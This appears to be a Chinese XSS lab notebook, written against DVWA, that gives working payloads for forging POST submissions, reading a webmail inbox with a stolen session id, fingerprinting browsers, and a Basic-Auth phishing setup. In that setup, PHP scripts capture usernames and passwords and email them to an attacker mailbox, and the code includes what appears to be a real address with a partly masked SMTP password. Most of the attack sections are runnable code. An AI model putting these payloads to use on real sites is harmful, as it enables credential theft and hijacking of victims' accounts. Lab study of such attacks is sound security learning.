1.构造post方式的html表单
背景:某博客存在存储型xss漏洞
操作:通过使用js脚本构造一个XSS Payload自动创建文章。实验的价值在于,只要成功了意味着可以模拟GET POST请求操作用户的浏览器。这在cookie劫持失败以后比较有用,如当受害者点击了恶意链接后,自己加载黑客的脚本,脚本模拟GET或者POST操作,这样就可以查看受害者的邮箱等待。
实际上是模拟浏览器发送一个post给服务器,提交一个html表单,如果成功就表明javascript可以模仿浏览器操作。
在DVWA的博客中自动创建一篇文章
什么是 html 表单:
HTML 表单用于搜集不同类型的用户输入。
<form> 元素
HTML 表单用于收集用户输入。
<form> 元素定义 HTML 表单:
HTML 表单包含表单元素。
表单元素指的是不同类型的 input 元素、复选框、单选按钮、提交按钮等等。
<input> 元素
<input> 元素是最重要的表单元素。
<input> 元素有很多形态,根据不同的 type 属性。
这是本章中使用的类型:
类型 | 描述 |
---|---|
text | 定义常规文本输入。 |
radio | 定义单选按钮输入(选择多个选择之一) |
submit | 定义提交按钮(提交表单) |
脚本如下,这只是其中一种方法,修改html表单
var dd=document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML='<form action="http://localhost/dvwa/vulnerabilities/xss_s/" method="post" id="guestform">'+
'<input name="txtName" type="text" value="ck" />'+'<textarea name="mtxMessage" >啦</textarea>'+
'<input name="btnSign" type="text" value="Sign Guestbook"/>'+'</form>'
document.getElementById("guestform").submit();
如何知道修改表单的什么数据
在火狐中打开该博客,然后写一篇文章,发现正是使用了post方法,并且提交了3个参数
<form method="post" name="guestform" ">
<table width="550" border="0" cellpadding="2" cellspacing="1">
<tr>
<td width="100">Name *</td>
<td><input name="txtName" type="text" size="30" maxlength="10"></td>
</tr>
<tr>
<td width="100">Message *</td>
<td><textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea></td>
</tr>
<tr>
<td width="100"> </td>
<td>
<input name="btnSign" type="submit" value="Sign Guestbook" οnclick="return validateGuestbookForm(this.form);" />
<input name="btnClear" type="submit" value="Clear Guestbook" onClick="return confirmClearGuestbook();" />
</td>
</tr>
</table>
</form>
在看该博客的form表单代码,则就可以跟着构造html 表单,然后自动提交
在dvwa的反射xss中实验 输入<script src="http://localhost/test2.j"s></script>
成功创建,并且自动跳转
恶意链接:localhost/dvwa/vulnerabilities/xss_r/?name=<script src="http://localhost/test2.js"></script>
如果localhost是我的服务器那么就可以在存在xss漏洞的地方发送post请求模仿浏览器操作
只有修改表单中的action就能跳转的表达网站,因为如果不小心点击了一个存在XSS反射型漏洞的网站,并且刚好又是携带恶意代码的连接,那么很有可能获取本地的邮件信息等等,果然要去弄个xss攻击平台
未完待续
2.xmlhttprequest 发送post请求
什么是 XMLHttpRequest 对象?
XMLHttpRequest 对象用于在后台与服务器交换数据。
XMLHttpRequest 对象是开发者的梦想,因为您能够:
- 在不重新加载页面的情况下更新网页
- 在页面已加载后从服务器请求数据
- 在页面已加载后从服务器接收数据
- 在后台向服务器发送数据
所有现代的浏览器都支持 XMLHttpRequest 对象
创建 XMLHttpRequest 对象
所有现代浏览器 (IE7+、Firefox、Chrome、Safari 以及 Opera) 都内建了 XMLHttpRequest 对象。
通过一行简单的 JavaScript 代码,我们就可以创建 XMLHttpRequest 对象。
创建 XMLHttpRequest 对象的语法:
xmlhttp=new XMLHttpRequest();
老版本的 Internet Explorer (IE5 和 IE6)使用 ActiveX 对象:
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
使用 xmlhttprequest发送post请求的三个步骤
var url = "http://localhost/dvwa/vulnerabilities/xss_s/"; //设置url
var postStr = "btnSign=Sign Guestbook&mtxMessage=test1234&txtName=1"; //提交的表单
var ajax = null;
if (window.XMLHttpRequest)
{ //看当前窗口支持xmlhttprequest对象还是AcitiveX对象,IE5和IE6支持AcitiveX
ajax = new XMLHttpRequest(); //支持xmlhttprequest对象的创建方法
}
else if (window.ActiveXObject)
{
ajax = new ActiveXObject("Microsoft.XMLHTTP"); //支持AcitiveX的创建方法
}
/*else
{
return;
}*/
ajax.open("POST", url, true); //发送post第一步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");//第二步,设置请求头
ajax.send(postStr); //第三步
ajax.onreadystatechange = function() {
if (ajax.readyState == 4 && ajax.status == 200) {
alert("Done");
}
}
1) 使用open方法打开连接时,指定使用POST方式发送请求。
2) 设置正确的请求头,POST请求通常应设置Content-Type请求头
3) 发送请求,把请求参数转换为查询字符串,将字符串作为send()方法请求参数
4) 如果是在高安全度下,有usrtoken就不行了
在存在XSS反射漏洞的页面输入<script src="http://localhost/xml.js"></script>,成功操作浏览器发送post请求并创建日志
3.构造xmlhttprequest 获取邮箱列表
在由XSS漏洞的邮箱页面,可以通过构造xmlhttprequest 发送GET请求获得邮箱列表
if (top.window.location.href.indexOf("sid=") > 0) {
alert(/xss/);
var sid = top.window.location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24);
}
//alert(/xss/);
var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?sid=" + sid;
var ajax = null;
if (window.XMLHttpRequest) {
ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
}
/*else {
return;
}*/
ajax.open("GET", folder_url, true);
ajax.send(null);// 这里可以把所有东西发送到一个指定的服务器
ajax.onreadystatechange = function() {
if (ajax.readyState == 4 && ajax.status == 200) {
alert(ajax.responseText);
//document.write(ajax.responseText);
}
}
4.基础认证钓鱼
由于某些页面存在有验证码,或者cookie有httponly,如果无法获得验证码的话就无法post消息,解决方法有当某个页面执行了恶意代码是,把验证码发到服务器,在由服务器中的脚本进行处理在发回来给恶意脚本,继续发送post消息,但这就太麻烦了。如果某些页面存这xss存储型漏洞,可以使用基础认证就行钓鱼。
fish.js
x=new Image();
x.src="http://localhost/base.php";
base.php
<?php
if($_SERVER['PHP_AUTH_PW'] =="" || $_SERVER['PHP_AUTH_USER'] =="" )
{
header('WWW-Authenticate: Basic realm="Basic Auth"'); //在http头上加入www-Authenticate 强制进行基础认证
header('HTTP/1.0 401 Unauthorized');
}
else{
$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
$fish = "username:".$user." password:".$pass; //把账号和密码存到fish中
header("location:http://localhost/x.php?c=$fish"); //加载另一个php文件把信息回传 ,把fish传进去
}
?>
x.php
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET[c];
$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer:
".$referer."<br>Session: ".$data."<br><br><br>";
require("class.phpmailer.php");
$mail = new PHPMailer();
$mail->CharSet = "UTF-8";
$address ="498721954@qq.com";//接收邮箱地址
$mail->IsSMTP(); // 使用SMTP方式发送
$mail->Host = "mail.qq.com"; // 您的邮箱域名
$mail->SMTPAuth = true; // 启用SMTP验证功能
$mail->Username = "498721954@qq.com"; // 邮局用户名(请填写完整的email地址)
$mail->Password = "killua...sjl"; // 邮局密码
$mail->Port=25;
$mail->From = "498721954@qq.com"; //邮件发送者email地址
$mail->FromName = "Bemo-XSS success!";
$mail->AddAddress("$address", "a");
$mail->IsHTML(true); //是否使用HTML格式
$mail->Subject = "Bemo-XSS success!"; //邮件标题
$mail->Body = $text; //邮件内容,上面设置HTML,则可以是HTML
if(!$mail->Send())
{
echo "邮件发送失败. <p>";
echo "错误原因: " . $mail->ErrorInfo;
exit;
}
?>
最后通过服务器上的邮件服务发送邮件给指定的邮箱,或者就直接把文件存在服务器中。
在dvwa存储漏洞中输入<script src="http://localhost/fish.js"></script>
当有人查看时即可触发钓鱼验证
5.获取浏览器版本
在这里并不使用userAgent来查看浏览器版本,因为firefox可以利用插件伪造假的userAgent,在这里使用各个浏览器的特有对象来判断浏览器。
//用于判断浏览器版本
/*typeof 用法
*返回值 number, boolean, string, undefined, object, function.
*如果变量未定义返回undefined
*/
if (window.ActiveXObject) //如果满足则是ie6.0以上,否则就是ie6以下
{
alert("xss");
if(document.documentElement && typeof document.documentElement.style.maxHeight!="undefined")//如果也满足则是ie7以上浏览器
{
if(typeof document.adoptNode !="undefined") //如果满足就是ie8+
{
alert("IE8+");
}
else
alert("IE7");
}
alert("IE 6.0 or below");
}
//else if(!!window.ActiveXObject||"ActiveXObject" in window) 因为IE11以后 ACtiveXobject不在返回true 而是返回一串字符串,用!!把它变成布尔值的
//上面这样写主要是区别IE于其他浏览器!!window.ActiveXObject在IE11和其他浏览器中返回false但因为ACtiveXObject in window 为true
else if("ActiveXObject" in window) //这样写 因为上层if的原因已经鉴别这可能是个IE11的浏览器,只要在判断一下就知道是否为IE11
{
alert("IE11+");
}
else if(typeof window.opera!="undefined") //判断是否opera独占
{
"Opera"+window.opera.version();
alert("Opera");
}
else if(typeof window.netscape!="undefined") //为Mozilla独占,可以获取大版本
{
if(typeof window.Iterator!="undefined") //firefox2 以上支持这个对象
{
if(typeof document.styleSheetSets != "undefined") //firefox 3
alert("firefox3");
else
alert("firefox2");
}
alert("firefox 2 or below");
}
else if(typeof window.pageXOffset!="undefined")// Mozilla 或 Safari
{
//alert("xss");
try
{
if(typeof external.AddSearchProvider!="undefined") //firefox or chrome
alert("chrome");
else
alert("firefox");
}catch(e)
{
alert("safari");
}
}
else
{
alert("unknow");
}
值得注意的是IE11+以后 ActiveXObject不在返回true而是返回一串字符串,实验显示如下
因此如果只以 window.ActiveXObject来判断的话IE11以后的版本将无法判断。
测试了win8.1下 ,chrome和IE11,firefox均能识别